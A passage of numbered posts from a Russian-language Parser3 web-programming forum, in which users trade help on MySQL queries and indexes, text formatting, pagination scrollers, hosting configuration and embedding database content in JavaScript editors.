"41155","Да, я в курсе. :-)\
Только ведь, если переменная глобальная и её никто не обнулил, то ^memory:compact[] никак не поможет.\
А вручную найти все переменные и разобраться какая уже нужна, а какая - уже нет, задача трудоёмкая. Особенно если кода много, и писали его разные люди."
"41161","http://dev.mysql.com/doc/mysql/ru/tips.html\
\
[quot]\
...\
При использовании нормальной установки веб-сервера рисунки должны храниться как файлы. То есть, храните в базе данных только ссылку на файл. Главная причина этого состоит в том, что обычный веб-сервер намного лучше кэширует файлы, чем содержание базы данных. Таким образом, при использовании файлов намного легче получить быструю систему.\
...\
[/quot]"
"41163","Смогу ли я в таком случае пользоваться функцией md5?"
"41164","Про [b]@ob[str;cols][/b]\
Нужен был метод, выводящий первые N слов статьи или новости.\
Методу передаётся строка и количество отображаемых слов. Если количество не указывалось, то берётся 10 по дефолту.\
В принципе, этот метод рабочий, но может можно покрасивее?\
Если сплит делать горизонтальный, то тогда было проще через [b]for[/b], но там была проблема подсчёта слов.\
Вот, пара строк :)"
"41165","[quot]\
$gb[^str.mid(0;1)]\
[/quot]\
\
$gb[^str.left(1)]\
\
[quot]\
^if(def $cols){$col($cols)}{$col(10)}\
[/quot]\
\
$col(^cols.int(10))\
\
содержимое menu без знания условий задачи пытаться править не стал."
"41170","вот такой код локально (Win32 / Денвер) добавляет новости в MySQl\
[code]\
#####\
### Добавление новости\
\
#начало обработки\
^if(def $form:add_news){\
	^if(def $form:date && def $form:header && def $form:body){\
	^connect[$connect_string]{\
			^void:sql{\
				INSERT INTO\
					news\
						(date, header, body)\
				VALUES\
					('$form:date', ^typograf:text_process['$form:header'], ^typograf:text_process['$form:body'])\
			}\
				<h5>новость добавлена!!!</h5>\
		}\
	}{\
		<h5><font color=\"red\">для добавления новости необходимо заполнить все поля формы</font></h5>\
	}\
}\
\
<table>\
	<th>Добавить новость</th>\
	<tr>\
		<td>\
			<form method=\"POST\">\
				Дата:<br /><i>^(год&mdash^;месяц&mdash^;число^)</i><br />\
				<input name=\"date\" value=\"${date_now.year}-${date_now.month}-${date_now.day}\">\
				\
				<p>Заголовок:<br />\
				<textarea cols=\"50\" name=\"header\"></textarea>\
				\
				<p>Текст:<br />\
				<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea>\
			</form>\
		</td>\
	</tr>\
</table>\
<p><center><input type=\"submit\" value=\"Добавить\" name=\"add_news\"></center>\
<p>\
#####\
### end Добавление новости\
[/code]\
\
после записи на web-сервер данные не добавляются.\
\
в \"панель администратора\" попадаю через .htpasswd, в которой пользователь отличается от [i]основного[/i] пользователя.\
\
[code]$connect_string[mysql://ПОЛЬЗОВАТЕЛЬ:ПАРОЛЬ@mysql.ХОСТЕР.ru/БАЗА_ДАННЫХ?ClientCharset=koi8-r][/code]\
\
подскажите, плз, где туплю..."
"41173","нажатие на кнопку \"Добавить\" не приводит ни к каким действиям.\
права на каталог /admin/ и \"исполняемый\" index.html - 755."
"41176","локально всё работало...\
решил сделать \"покрасивее\"...\
\
Всем спасибо и сорри, что отвлек глупостью... я бы даже сказал ДУРОСТЬЮ..."
"41180","Как можно получить абсолютный путь к файлу от дискового пространства(не веб пространства).\
 \
[code]^filename.save[binary;/catalogue.txt][/code]\
\
Сначала мы сохраняем его, в коренной папке веб пространства, а потом нужно получить его абсолютный путь"
"41181","Ещё бы найти... :-)\
Впрочем, я убеждать в необходимости этой фичи не стану. Особой необходимости я в ней не вижу. Задача из-за которой я поднял этот вопрос всё-таки лежит немного в стороне от назначения Parser'а. Так что и решать её видно придётся по-другому."
"41182","Ну, я не стал бы делать столь жёстких оценок. Просто не все люди програмируют на Parser'е с 97 года. :-) А многие в 97 году ещё и не знали где компьютер включается. :-)\
Не ошибался лишь тот, кто ничего не делал.\
Кстати, можно у Вас поинтересоваться? Скажем, есть система новостей. Работает так: собираем информацию о пользователе, определяем (по данным пришедшим из формы) какие новости и в каком количестве выводить, посылаем соответствующий запрос MySQL, из ответа формируем xml, трансформируем его xslt шаблоном. Ориентировочно, какие затраты памяти для подобной страницы можно считать приемлемыми?"
"41185","не подойдёт?\
\
складываем.."
"41187","$имя_вашей_таблици.offset(1)- курсор перемещается на вторую запись\
\
Есле же вам как и мне нужно обращаться всегда к свежей записи\
то \
$имя_вашей_таблици.offset(-1) -курсор перемещается на последнюю запись"
"41189","мое \"сообщение\" удалили?"
"41190","Меня интересует каким образом можно вывести текст так как ты его напечатал тоесть с отступами и новыми строчками а то при выводе он выходит в одну строчку а писать <br> и т.д. не всегда удобно?"
"41191","[code]^имя_вашей_таблицы.offset[set](1)\
^имя_вашей_таблицы.offset[set](-1)[/code]\
Певый симбол внимательно (это метод) и [set] для того чтобы отсчет велся с начала"
"41192","А у меня и так все работает :) $.offset(1)"
"41195","В базе лежит так как написал..."
"41197","что есть Netmask\
и с чем его едят"
"41198","[code]\
$rep[^table::create{from	to\
^taint[^#0D^#0A]	<br>\
^taint[^#0A]	<br>\
}\
]\
\
$str[^XXXXX.replace[$rep]]\
# $str[^str.match[\\[([biu])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
[/code]\
\
Плюс к этому можно добавлять [url=\"http://www.spearance.ru/parser3/regex/\"]регулярные выражения из копилки[/url]..."
"41200","хотя бы для отступа?(пробела)"
"41201","Такой код:\
[code]\
$str[Вася,Петя,Дима,Ира,Наташа,Катя,Саша]\
$parts[^str.split[,;lv]]\
^parts.menu{\
	$parts.piece\
}\
[/code]\
Как можно проще указать количество выбираемых имён?\
\
[b]Мои предположения:[/b]\
[i]1. Использовать [b]$parts.0[/b], [b]$parts.1[/b] ...[/i]\
[i]2. Использовать [b]^table::create[...; $.limit(5)][/b][/i]"
"41202","Создайте html-файл с этим кодом и откройте броузером\
[code]@main[]\
$goods[^table::create{pos	good	price\
1	Монитор	1000\
2	Системный блок	1500\
3	Клавиатура	15}\
]\
<table border=1>\
^goods.menu{\
	<tr><td>$goods.pos</td><td>$goods.good</td><td>$goods.price</td></tr>\
}\
</table><br>\
$goods.offset(1)\
^$goods.offset(1)\
<table border=\"1\">\
	<tr>\
		<td>$goods.pos</td>\
		<td>$goods.good</td>\
		<td>$goods.price</td>\
	</tr>\
</table><br>\
^goods.offset(1)\
^^goods.offset(1)\
<table border=\"1\">\
	<tr>\
		<td>$goods.pos</td>\
		<td>$goods.good</td>\
		<td>$goods.price</td>\
	</tr>\
</table><br>\
[/code]"
"41203","но первое что сразу бросается в глаза это GROUP BY title. делать GROUP BY по текстовым полям не стОит (а title судя по названию текстовое). наверняка можно заменить на какой-нить id (не знаю на какой, т.к. из запроса не ясно title из какой таблицы имеется ввиду, хотя похоже что таки из country).\
\
на таблице country обязательно должен быть составной индекс на столбцах from и to.\
\
возможно что в данном случае лучше воспользоваться left join а не обычным join + group by.\
\
если все работает с MySQL 4.1 можно попробовать переписать запрос с подзапросами. они обещали что хотя некоторые запросы можно без проблем преобразовать из одного вида в другой и их оптимизатор сам это умеет делать он не всегда сам находит правильный путь.\
\
но в любом случае это рессурсоемкая задача, и ожидать что подобный запрос будет выполняться 0.01 сек не стОит."
"41207","Ну вот 246 написал:\
^untaint[html]{^news.body.match[\\n][g]{<br>}}\
За это ему СПАСИБО!!! Но пробел он не воспринимает :(\
Надо и пробел как нибудь заменить.."
"41208","Нашёл из форума:\
[code]\
^if(^parts.offset[] < $limit){\
	$parts.piece\
}\
[/code]"
"41209","@main[]\
^header[]\
^navigation[]\
^navigation_magazine[]\
^navigation_delovoy[]\
^body[]\
@body_center[]\
<br>\
\
<br><br>\
^connect[mysql://root:root@localhost/p3test]{ \
   $news[^table::sql{select * from news }]}\
^news.offset(-1)\
<h3><strong>$news.header</strong></h3>  $news.date<br><br> \
$f[^file::load[binary;/magazine/delovoy/image/$news.name]]\
<table width=100%>\
   <tr>\
     <td align=left>\
$photo[^image::measure[/magazine/delovoy/image/$f.name]] \
^photo.html[ \
   $.border[0] \
] \
<br><br>\
^untaint[html]{^news.body.match[\\n][g]{<br>}}\
     </td>\
   </tr>\
</table>"
"41210","А ведь вы пишете именно [color=\"#ff0000\"]$[/color] :\
[url=\"http://www.parser.ru/forum/?id=41192\"]http://www.parser.ru/forum/?id=41192[/url]\
А оказывается в коде на самом деле:[color=\"#ff0000\"]^[/color]"
"41211","Моя невнимательность... спасибо что поправили по хорошему надо мое сообщение ваще удалить чтоб людей с пантологии не сбивать"
"41212","структура country\
from,to,title\
\
структура users\
ip и тд.\
\
в country индекс на from, to\
MySQL 4.1 не располагаю, хотя ОЧЕНЬ хотел бы\
\
а по поводу left join был бы очень признателен за подсказу как это сделать ГРАМОТНО."
"41213","если база \"IP по странам\" не в двух таблицах, а в одной - то да...\
... об индексации - если есть смысл"
"41214","[code]\
$news_body[$news.body]\
$str[^news_body.replace[$rep]]\
^str.match[(^^|\\n)(.*)(\\n|^$)][gm]{<p style=\"margin-left: 10px^;\">$match.2</p>$match.3}\
[/code]"
"41216","replace\
\
parameter must be table\
\
P.S. Все равно для меня пока сложно как проимходит замена я не разберусь..."
"41217","а как пробел обозначается??????"
"41220","[code]\
$rep[^table::create{from	to\
^taint[^#0D^#0A]	<br>&nbsp^;&nbsp^;\
^taint[^#0A]	<br>&nbsp^;&nbsp^;\
}\
]\
\
$news_body[$news.body]\
\
^news_body.replace[$rep]\
[/code]"
"41221","Извини, не правильно написал код. Вот смотри:\
[code]\
$str[$news.body]\
^str.match[(^^|\\n)(.*)(\\n|^$)][gm]{<p style=\"margin-left: 10px^;\">$match.2</p>$match.3}\
[/code]\
Проверял, у меня работает."
"41222","[code]\
$str[$news.body]\
^str.match[(^^|\\n)(.*)(\\n|^$)][gm]{<p>&nbsp^;&nbsp^;$match.2</p>$match.3}\
[/code]"
"41223","тут проблема не в версии какого-либо-нибудь сервера БД...\
... проблема в несостоянии заставить себя если не посмотреть хотя бы \"Руководства ... для чайников\", то хотя бы попытаться прочесть сообщение Миши в.3"
"41224","[code]$rep[^table::create[nameless]{^taint[^#0D^#0A]	<br>\
^taint[^#0A]	<br>\
^taint[^#20]	&nbsp^;\
}]\
\
$str[^XXXXX.replace[$rep]][/code]"
"41225","^untaint[html]{^news.body.match[(\\s)][g]{&nbsp^;}}\
\
^untaint[html]{^news.body.match[(\\n[g]{<br>}"
"41226","Прошу прощения. Я включал сбор статистики класса sql\
\
Рассказываю все с начала и до конца\
\
Задача: есть база users хранящая инфу о посетителях\
  id bigint(20) NOT NULL auto_increment,\
  currentpage varchar(255) NOT NULL default '',\
  pathname varchar(255) NOT NULL default '',\
  host varchar(255) NOT NULL default '',\
  query varchar(255) NOT NULL default '',\
  title varchar(255) NOT NULL default '',\
  ____________ varchar(255) NOT NULL default '',\
  lastpage varchar(255) NOT NULL default 'about:blank',\
  l_pathname varchar(255) NOT NULL default '',\
  l_host varchar(255) NOT NULL default '',\
  l_query varchar(255) NOT NULL default '',\
  l_search_query varchar(255) NOT NULL default '',\
  ___________ varchar(255) NOT NULL default '',\
  ip bigint(20) NOT NULL default '0',\
  ip_full varchar(255) NOT NULL default '0.0.0.0',\
  user_uid varchar(255) NOT NULL default '',\
  is_unique_user int(1) NOT NULL default '0',\
  __________ varchar(255) NOT NULL default '',\
  session_uid varchar(255) NOT NULL default '',\
  session_no int(11) NOT NULL default '0',\
  date datetime NOT NULL default '0000-00-00 00:00:00',\
  leaving_time datetime NOT NULL default '0000-00-00 00:00:00',\
  _________ varchar(255) NOT NULL default '',\
  navigator_name varchar(255) NOT NULL default '',\
  navigator_version varchar(255) NOT NULL default '',\
  navigator_os varchar(255) NOT NULL default '',\
  width int(11) NOT NULL default '800',\
  height int(11) NOT NULL default '600',\
  depth int(11) NOT NULL default '24',\
  __ varchar(255) NOT NULL default '',\
  new varchar(255) NOT NULL default '',\
  PRIMARY KEY  (id),\
  KEY currentpage (currentpage),\
  KEY title (title),\
  KEY lastpage (lastpage),\
  KEY l_host (l_host),\
  KEY l_search_query (l_search_query),\
  KEY ip (ip),\
  KEY user_uid (user_uid),\
  KEY session_uid (session_uid),\
  KEY date (date),\
  KEY leaving_time (leaving_time)\
\
также база country\
  from bigint(20) NOT NULL default '0',\
  to bigint(20) NOT NULL default '0',\
  title varchar(255) NOT NULL default '',\
  PRIMARY KEY  (from,to)\
\
я хочу список всех стран \
\
я пишу\
$countries[^MAIN:db.sql[table]{SELECT\
   COUNT(users.id) AS c, country.title AS t, MAX(date) AS last_visit\
FROM\
  users, country\
WHERE\
  session_no = 1 AND users.ip >= country.from AND users.ip <= country.to\
GROUP BY t\
ORDER BY c desc}]\
\
explain\
TYPE: table\
EXECUTION TIME: 1.481 ms\
MEMORY USAGE: 0 &#202;&#193;/0 blocks\
ROWS SELECTED: 65\
SQL OPTIONS: $.offset[] $.limit[]\
QUERY:\
SELECT COUNT(users.id) AS c, country.title AS t, MAX(date) AS last_visit FROM users, country WHERE session_no = 1 AND users.ip >= country.from AND users.ip <= country.to GROUP BY t ORDER BY c desc\
EXPLAIN:\
table	type	possible_keys	key	key_len	ref	rows	Extra\
users	ALL	ip	3820	Using where; Using temporary; Using filesort\
country	ALL	PRIMARY	28959	Range checked for each record (index map: 1)\
\
по логу видно что запрос проходит быстро\
но дальше идет\
^countries.menu{\
$countries.t\
}[<br>]\
\
работает по настроению\
\
если что забыл скажите.\
провайдер Valuehost"
"41227","^news.body.match[(\\s)][g]{&nbsp^;}\
^news.body.match[(\\n)][g]{<br>}"
"41228","[code]^news.body.match[(\\s|\\n)][g]{\
    ^switch[$match.1]{\
         ^case[^#0A]{&nbsp^;}\
         ^case[^#A0]{<br>}\
    }\
}[/code]"
"41229","Перебор 65 строк таблицы не может быть медленне чем столь сложная выборка из 28959*3820=110623380 записей :)\
\
В explain cервер вам тактично намекнул, что не хватает [b]правильных сборных[/b] индекcов.\
Какие нужно - посмотрите порядок выполнения условий в select запросах."
"41237","пытаюсь подключить парсер на nik.ru .Страницы он вроде стал обрабатывать но не может писать в свой лог файл и выкидывается 500 ошибка. Разрешение на директории для лог файла ставил уже разные.\
\
Текст .htaccess\
[code]\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3/parser3.cgi\
CharsetDisable On\
SetEnv CGI_PARSER_CONFIG /home/lina-tour/public_html/www.lina-tour.ru/cgi-bin/parser3/auto.p\
SetEnv CGI_PARSER_LOG /home/lina-tour/public_html/www.lina-tour.ru/cgi-bin/parser3/parser3.log\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
RewriteEngine On\
[/code]"
"41238","[code]\
$str[$news.body]\
^str.match[(^^|\\n)(.*)(\\n|^$)][gm]{<p style=\"[b]text-indent: 3em[/b]\">$match.2</p>$match.3}\
[/code]"
"41239","http://www.parser.ru/faq/ (самый последний вопрос на странице)"
"41242","Я про 310.ru. Обычно на большинстве хостингов достаточно прописать \
\
@USE\
/class.p\
\
и всё нормально. Но здесь какаято странная настройка с витуальными хостами. Ситуация такая:\
\
обсолютный путь к www: /home/evqs4ebp/lazershow/\
\
если написать:\
\
@USE\
/class.p\
\
то в лог пишется:\
'/pub/_vcgibin/lazershow.ru/class.p' read failed: No such file or directory (2), actual filename '/pub/_vcgibin/lazershow.ru/class.p' [file.missing] \
\
вобщем перепробовал кучу вариантов указания пути к классам но всё равно файлы не находятся. Может ктонибуть что посоветует."
"41243","[code]\
$MAIN:CLASS_PATH\
[/code]\
\
Как так получается, что обсолютный путь к www один, а в логе другой адрес?..\
\
/home/evqs4ebp/lazershow/\
/pub/_vcgibin/lazershow.ru/class.p"
"41245","Добрый день. \
Избитая тема, но не нахожу ответа.\
При подключеной dll parser3isapi (как указано в инструкции по установке) при попытке открыть html файл (даже простой без использования parser) браузер выдает сообщение об ошибке 403.\
К html документу в адресной строке обращаюсь в виде:\
http://10.*.*.*:*/test/index.html\
Возможно, проблема в самом обращении по ip-адресу? Web-сервер физически находится на другой машине, к папке test которой мне организован доступ."
"41246","- и где составной индекс на users.session_no, users.ip? (еще можно попробовать индекс users.session_no, users.ip, date)\
- убрать ORDER BY c DESC из запроса и отсортировать результаты парсером\
- попробовать добавить country.id с уникальным индексом и GROUP BY t заменить на GROUP BY country.id"
"41247","Здравствуйте.\
Небольшой код...\
\
<table width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
<tr>\
<td><img src=\"1x1.gif\" height=\"1\" width=\"100\"><br>\
^use[gbook.p]\
 $gb[^gbook::load[]]\
^gb.show_messages[]\
^gb.show_form[]\
^gb.test_and_post_message[]\
</td>\
<td><img src=\"1x1.gif\" height=\"1\" width=\"200\"><br>\
<!-- содержимое 2-ой ячейки в первой строке правая часть страницы -->\
</td>\
</tr>\
</table> \
\
Помогите решить проблему растяжения левой ячейки при выводе записей из Г-К.\
Что-бы записи выводились не вправо а вниз.\
gif не фиксирует ячейку...\
В чём же ошибка?\
\
\
С уважением, Виталий."
"41253","Гостевая книга.(уроки)\
Вопрос такой,можно ли с помощью парсера производить смещение записей вниз.\
Или дело в HTML.\
C уважением,Виталий."
"41254","Скажите, пожалуйста, есть ли разница в использовании [b]^memory:compact[][/b]!?... Допустим, если я буду вставлять его после каждой операции с БД или если 1 раз вставлю в auto.p:\
[code]\
@main[]\
^MAIN:pSQL.server{\
	^header[]\
	^body[]\
	^footer[]\
}\
^memory:compact[]\
[/code]"
"41257","Документация:\
[quot]...поставьте вызов compact в той точке (точках), где ожидаете наибольшей выгоды...[/quot]"
"41259","Писало: Out of memory..."
"41260","Вот в этом то и проблема. Так какимто хитрым способом всё сделано. И никаие способы которыми ставился parser на другие хостинги использовать не получается.\
\
$MAIN:CLASS_PATH - что предлагаешь с ним сделать ?"
"41261","Открываете страницу, которую сгенерировал Парсер, в текстовом редакторе и правите как статичную. Поймете что было не так и внесете изменения в код Парсера."
"41272","...и CLASS_PATH не при чем.\
\
к вопрошающему: попробуйте [url=\"/docs/lang/requestdocroot.htm\"]руками определить[/url] document root"
"41276","Parser при всех операциях с внешним миром эту букву срезает.\
в общем виде: DOS/Mac переносы строк приводятся к UNIX (заменяются на 0A).\
\
не производится замен в только доставаемом из БД, т.к. считается, что туда уже мусор не попал."
"41278","возвращайтесь, когда заработает такое"
"41279","Или форум действительно не работал... не знаю что вероятнее :-)"
"41280","[code]\
<table>\
	<tr>\
		<td>1-ая запись</td>\
	</tr>\
	<tr>\
		<td>2-ая запись</td>\
	</tr>\
</table>\
[/code]\
\
Вывод будет такой:\
1-ая запись\
2-ая запись.\
\
Перешли код на beave@mail.ru и printscreen того, что получается. Постараюсь помочь."
"41281","тут УЖЕ используется подобное представление IP адреса, и проблема в сложном SQL запросе, а не в преобразованиях его привычного представления в long int и обратно."
"41282","Вот мой код\
\
@USE\
/classes/scroller.p\
@main[]\
^header[]\
^navigation[]\
^navigation_magazine[]\
^navigation_delovoy[]\
^body[]\
@body_center[]\
<br><br>\
^connect[mysql://root:root@localhost/p3test]{ \
   \
$table_count_dm[^table::sql{select count(*) from news}]\
\
$scroller[^scroller::create[\
$.path_param[]\
$.table_count[$table_count_dm]\
$.number_per_section[5]\
$.section_per_page[5]\
$.type[html]\
]]}\
\
\
\
^connect[mysql://root:root@localhost/p3test]{ \
$news[^table::sql{select id, header, date from news order by id desc}[$.limit(1000) $.offset(4)]]}\
<table width=80% align=left>\
   <tr>\
     <td>\
^news.menu{$news.date <a href=\"/magazine/delovoy/arhiv.html?$news.id\">$news.header</a>}[<br><br><br>]\
<br><br>\
^scroller.draw[]\
     </td>\
   </tr>\
</table>\
\
\
Использую скроллер Евгения \
\
В конце добавляется только неактивная 2 и все?????????????"
"41283","http://crimnet.invex.ru/scroller/text/, http://www.parser.ru/examples/mscroller/"
"41284","Подскажите пожалуйста, делаю админку для сайта, в ней визуальный редактор написан на Javascript. Для редактирования новости нужно передать в javascript поле $news.body из базы данных. Как это сделать? Заранее спасибо, никак не могу сообразить."
"41285","[code]\
var news_body = '^taint[js][$news.body]'^;\
[/code]"
"41287","Например как в [url=\"http://www.fckeditor.net/\"]FCKeditor-е[/url]. Он создается прямо скриптом:\
\
[code]\
var oFCKeditor = new FCKeditor('FCKeditor1')^;\
oFCKeditor.BasePath = '/'^;\
oFCKeditor.InstanceName = \"text\"^;\
oFCKeditor.Value = '$params.text_original'^;\
oFCKeditor.Create()^;\
[/code]"
"41288","- содержимое (данные + их представление) - в html\
- логика - в js\
\
написать в js document.getElementById('body') для того, чтобы получить элемент содержащий данные ничуть не сложнее чем приводимая вами конструкция, а даже проще, т.к. js по моему разумению не должен заниматься оформлением.\
\
все нормальные js-wisywig редакторы которые я видел берут данные из заполненных textarea и лишь модифицируют эти элементы."
"41289","$request:document-root[/дисковый/путь/к/корню/вашего/веб-пространства] -куда вставлять этот код в основной auto.p или куда ?"
"41290","SQLite драйвер готов, но реально я заплатил за него свои деньги..."
"41291","Этот редактор подключается так:\
\
[code]\
# в том месте, где должен он собственно быть:\
<script type=\"text/javascript\">\
  var oFCKeditor = new FCKeditor('FCKeditor1')^;\
  oFCKeditor.BasePath = '/'^;\
  oFCKeditor.InstanceName = \"text\"^;\
  oFCKeditor.Value = '$params.text_original'^;\
  oFCKeditor.Create()^;\
</script>\
[/code]\
\
А он уже сам создает либо textarea, либо iframe. Я не разбирался с ним еще, поэтому не могу сказать точнее. В Opera он показывает обычную textarea, в Firefox и IE — iframe."
"41293","т.е. можно это добавить в метод @conf[] конфигурационного auto.p или в метод @auto[] до первого ^use[] в нем."
"41295","Я использую MouseDHTML и там в следующий фрагмент надо вставить $news.body\
\
<script language=\"javascript\">\
document.write ('<div id=\"Frm\"><iframe src=\"/admin/MouseDHTML/src.html\" id=\"message\" width=\"700\" height=\"400\"></iframe></div><textarea id=\"NMH\" name=\"mytext\" style=\"width:700px;height=398px;display:none\"></textarea>')\
frames.message.document.designMode = \"On\";\
</script>"
"41297","попробовал так\
сделал таблицу\
[code]\
^MAIN:db.sql[void]{\
		CREATE TABLE $table_name (\
			`ip` BIGINT NOT NULL ,\
			INDEX ( `ip` ) \
		)\
	}\
[/code]\
\
и далее\
\
[code]\
$t[^SELECT[title;$table_name ^MAIN:db.left_join[from;country;ip >= country.from AND ip <= country.to]]]\
[/code]\
\
в country PRIMARY INDEX на from,to\
запрос - 45 секунд"
"41298","если пришлете dump этих таблиц попробую посмотреть как будет свободная минутка.\
\
P.S. хотя из вашего последнего сообщения я мало что понял :)"
"41299","получить данные относящиеся к интервалу времени: например всех посетителей которые были между 8 и 9 утра?\
Не делать же 24 запроса на сутки, умноженные на количество дней...\
\
заранее спасибо"
"41301","Добрый день. Я возвратилась. \
http://server/test/test.txt работает отменно (я понимаю, к чему Вы клоните). На http://server/test/index.html выдается теперь 404.\
\"Обратиться к администратору\" web-сервера? )"
"41302","[code]\
# с тем же успехом можно написать так:\
<div id=\"Frm\">\
	<iframe src=\"/admin/MouseDHTML/src.html\" id=\"message\" width=\"700\" height=\"400\"></iframe>\
</div>\
<textarea id=\"NMH\" name=\"mytext\" style=\"width:700px;height=398px;display:none\">$news.body</textarea>\
<script language=\"javascript\">\
	frames.message.document.designMode = \"On\";\
</script>\
\
# или если все таки хотите использовать document.write:\
<script language=\"javascript\">\
document.write ('<div id=\"Frm\"><iframe src=\"/admin/MouseDHTML/src.html\" id=\"message\"\
width=\"700\" height=\"400\"></iframe></div><textarea id=\"NMH\" name=\"mytext\"\
style=\"width:700px;height=398px;display:none\">^taint[js][$news.body]</textarea>')^;\
frames.message.document.designMode = \"On\"^;\
</script>\
[/code]"
"41303","как сделать меню из картинок, но тоже чтобы например при нахождении в меню новости кнопка (картинка) новости была но была без ссылки\
p.s. А есть ли в форуме люди мастера по flash, могут ли они сделать примерно такуюже flash меню как на сайте www.endelea.ru??? И если могут может кинут на майл: shtirliz-hacker@mail.ru\
С уважением ко всем здесь союравшимся Dmitriy Yurshin"
"41304","Просто добавляете в sections.cfg еще один столбец img_src и в переборе вставляете соответственно:\
\
[code]\
<a href=\"$sections.uri\"><img src=\"$sections.img_src\" alt=\"$sections.name\" /></a>\
[/code]\
\
Плюс по-хорошему нужно загружать предварительно информацию о картинке ([url=\"http://www.parser.ru/docs/lang/imagemeasure.htm\"]measure. Создание объекта на основе существующего графического файла[/url]) и выводить ее тоже парсером ([url=\"http://www.parser.ru/docs/lang/imagehtml.htm\"]html. Вывод изображения[/url])"
"41305","С флеш можно сделать подключая XML, но обязательно нужно сделать второе меню без флеш из того-же XML, что б пауки ползали"
"41307","Пробовал подключить тот скрипт, который лежит в \"скачать\", в логе показывается ошибка выполнения скрипта Premature end of script headers:"
"41308","Дано: А - БД в Постгри, в А есть таблица А1\
\
Задача: хранить определенное время в оперативной памяти копию А1 и при запросах (select update delete и тд) к А1 перенаправлять запрос на копию таблицы в оперативке и выдавать результат обработки копии. Ну и раз в н-минут делать новый снимок в оперативной памяти.\
\
У кого есть хоть какие идеи подскажите"
"41311","Возможна ли отправка сообщения нескольким адресатам?\
Конструкция:\
[code]\
^mail:send[ \
      $.from[Intranet <...@batteryteam.ru>] \
      $.to[<111@batteryteam.ru>;<222@batteryteam.ru>] \
      $.subject[Сообщения c Intranet] \
      $.html{}\
]\
[/code]\
не хочет работать, в документации не нашла."
"41314","1. возможно вы неверно установили то, что лежит в разделе \"скачать\". почитайте FAQ и предоставьте больше деталей, если вы совершили ошибку при установке вам на неё укажут.\
\
2. возможно парсер, который лежит в разделе \"скачать\" действительно не работает на вашей ОС. выход - собрать самому из исходников."
"41316","... за один час|день|месяц, а надо, чтобы с 8 до 9 за последние 30 дней"
"41317","пожалуйста, читайте документацию по вашему SQL серверу."
"41318","а http://server/test/index.htm работает?\
\
сами понимаете, чудес не бывает"
"41320","http://www.parser.ru/docs/lang/opuntainttaint.htm\
Ctrl+F optimize"
"41324","В базе лежит поле с таким содержанием:\
[quot]Проверка____->\
________абв[/quot]\
где: \"_\" - пробел, \">\" - перевод строки\
И вывожу переменную с результатом запроса\
[code]^untaint[html]{$test}[/code] или [code]^untaint[as-is]{$test}[/code]\
главное чтобы не \"optimized...\" (как по умолчанию), то в браузер поподает \
[quot]Проверка____->\
________абв[/quot]\
Если заключаем в <pre>...</pre>, то видим это, но браузер САМ делает преобразование типа \"optimized-html\" и без <pre>...</pre> отображается как:\
[quot]Проверка - абв[/quot]\
, но в исходном коде - как должно быть.\
...во завернул..."
"41325","[code]$test[Проверка       - \
             абв]\
^taint[as-is][$test][/code]\
Если не в базе."
"41327","Метод отправляет сообщение на заданный адрес электронной почты. Можно указать несколько адресов через [b]запятую[/b]."
"41328","люди подскажите как из обычного меню сделать меню и в нем подменю для каждой категории"
"41329","- вы что-то делаете сами\
- вы столкнулись с проблемой которую вы сами не можете решить\
- вы думаете. ищете решение. читаете документацию, FAQ, пользуетесь поиском по форуму.\
- если ничего не помогает - задаете вопрос. как задать вопрос чтобы получить максимально полезный ответ написано в [url=\"/faq/forum/\"]FAQ[/url]\
\
P.S. этот тред закрыт. следующий так-же заданый вопрос будет молча удален."
"41330","Я использую не Мишин класс а Женин. И причем тут оффсет с лимитом???"
"41332","это ведь не Мишин класс, он оффсет с лимитом по загадочной траектории считает, зачем ему помогать, пусть себе считает... \
\
наслаждайтесь своей двойкой в конце...\
\
PS либо мучайтесь дальше, либо разгадайте могучий и ужасный механиз скроллера..."
"41333","я ведь указал там и оффсет и лимит че не в том месте или не так????? объясни буду признателен... направь хоть в нужную сторону а дальше я сам"
"41334","^razdel.menu{\
^if(^razdel.line[] >= $scroller.record_number && ^razdel.line[] <= ($scroller.record_number + $scroller.number_per_section - 1)){&hellip;то, что вы хотите вывести&hellip;}\
}\
^scroller.optimize[<div class=\"scroller\">^scroller.draw[]</div>]"
"41335","http://www.spearance.ru/parser3/scroller/text/\
\
[quot]\
О том как использовать вместо обычной таблицы SQL-таблицу, читайте [url=\"http://crimnet.invex.ru/scroller/\"]пример[/url] agat-а.\
[/quot]\
\
идете и читаете. там есть пример, как это использовать с базой данных."
"41336","пример Евгения не подходит и его нельзя использовать с базой данных или как?"
"41338","просто пример агата немного посложней и хотелось бы сначала разобраться с простым... у мнея есть таблица в базе данных я могу использовать скроллер от Евгения?"
"41339","вам же сказали, читать пирмеры... прочитайте мишин, там все понятнее и код лучше... и еще раз повторю, limit и offset..."
"41340","В Мишином мне не нравяться то что нужно подключать его sql классы..."
"41341","Взял пример Агата ну вобщем все работает щас буду разбираться что к чему!!!"
"41342","сюрприз (с): мишиному скроллеру нужно знать только кол-во записей... а откуда вы их возьмете ему все равно..."
"41343","^use[/classes/scroller.p]\
$scroller[^scroller::create[\
$.path_param[record]\
$.table_count[^int:sql{SELECT COUNT(*) FROM news}[$.default{0}]]\
$.number_per_section[6]\
$.section_per_page[]\
$.type[]\
]]\
\
^scroller.draw[]\
\
^connect[mysql://root:root@localhost/p3test]{ \
$news[^table::sql{\
SELECT\
header, date, id\
FROM\
news\
order by id desc\
\
}[\
$.limit($scroller.number_per_section)\
$.offset($scroller.record_number+3)\
]\
]\
}\
}\
\
"
"41344","[code]\
<div id=\"Frm\" contenteditable>\
	^untaint{$tmpFile.text}\
</div>\
<textarea name=\"NMH\" style=\"display:none\">\
</textarea>\
[/code]"
"41345","опять неправда ваша. вы [b]не читаете[/b] описания и делаете выводы не соответствующие действительности.\
\
тут http://www.parser.ru/examples/mscroller/ написано:\
\
[quot]\
P.S. Для того, чтобы понять что означает $MAIN:pSQL в примере, необходимо ознакомиться со статьей о переноcимости SQL запросов, скачать и подключить в auto.p один из упомянутых в ней sql-классов. Класс скроллера никаких запросов не делает, и $MAIN:pSQL не использует.\
[/quot]\
\
собственно это ваше право. я написал это сообщение лишь для того, чтобы те кто случайно будут читать ваши сообщения не строили своих суждений базируясь на ваших ложных выводах."
"41346","Утро доброе. Вопрос меня этот очень задел. Естественно есть! (все, как надо в 1-м уроке из док-ции) Зачем же сразу вот так?! \
